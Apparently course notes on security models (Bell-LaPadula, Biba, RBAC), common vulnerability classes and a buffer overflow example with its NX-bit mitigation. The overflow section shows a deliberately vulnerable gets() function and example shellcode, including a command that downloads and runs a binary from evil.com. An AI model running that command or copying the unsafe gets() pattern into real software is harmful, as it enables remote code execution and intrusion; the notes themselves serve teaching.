Bell-LaPadula Model (BLP)
- Emphasizes data confidentiality and controlled access to classified information
- Suppose hierarchy of secrecy are as follows:

```
TOP_SECRET
↓
SECRET
↓
FOUO (For Official Use Only)
↓
PUBLIC
```

Compartments (like Tags) are as follows: JFK, Area51
Objects are labeled with label $L$ and compartments are with $CS$

- NO READ UP
- NO WRITE DOWN
- BLP Model is guaranteed to never accidentally disclose information
- Suppose *emacs* editor is launched then Initial label on the process
  - Because of I/O to user, may need to label based on User
  - Initial label = min label = public
  - Label “floats up” as it open files
  - Label floats on files, too

Biba Model
- Developed to address a weakness in the BLP model
- Addresses Integrity
- Objects and Subjects are grouped into integrity levels instead of given security labels
- NO READ DOWN: A subject at a given level of integrity must not read an object at a lower integrity level
- NO WRITE UP: A subject at a given level of integrity must not write to any object at a higher level of integrity.
- Trustworthiness of information:

```
THEOREM
FIRST HAND
SECOND HAND
INTERNET
```

### Role Based Access Control (RBAC)
- Based on the roles of individual users within an enterprise
- Users → Roles
- Roles → Permissions

```
User: Alice, Bob, Carol, Dave
Roles: Manager, Teller, Auditor
Permissions: withdraw, deposit, make loan, read logs
```

### Isolation with Message Passing
System with:
- Kernel
- Processes
- Memory Isolation
- Message Passing (via shared memory)
- Client/Server, User Program/Kernel or OS
- Access Control

Software Bugs are source of almost all security vulnerabilities

- Buffer overflows: is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory
- Format string bugs: allow arbitrary memory writes, can be used to crash a program or to execute harmful code
- Race conditions: when this kind of bug exists in security-conscious code, TOCTTOU bug is created
- SQL injection: a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution
- Cross-site scripting (XSS) bugs: a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites
- Cross-site request forgery (CSRF): a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts
- Confused Deputy: a computer program that is innocently fooled by some other party into misusing its authority
- Component Hijacking: a class of attacks that seek to gain unauthorized access to protected or private resources through exported components in vulnerable apps

**Buffer Overflows**

```c
void dummy(int x, int z) {
    int w;
    w = x + z;
}
```

```c
void foo(void) {
    int y = 7;
    dummy(y, y+1);
}
```
char* getUser(void)
{
    char user_name[256];
    gets(user_name);
    printf("Hello %s\n", user_name);
    return user_name;
}

- Hacker will choose user_name like this: <shell_code><evil_return_address>
- Shell Code: system("/bin/sh");
  Or, system("wget http://evil.com/exe /tmp/exe; chmod a+x /tmp/exe; /tmp/exe");
NX (Never eXecute) bit

- Segregate areas of memory for use by either storage of processor instructions (or code) or for storage of data
- Any page which is writable should not be executable and vice versa. i.e. $w \oplus x$
- Now, pages corresponding to the stacks are non-executable

---

¹ http://www.commondork.com/2010/05/16/bell-la-padula-biba-and-clark-wilson-security-models/
² http://en.wikipedia.org/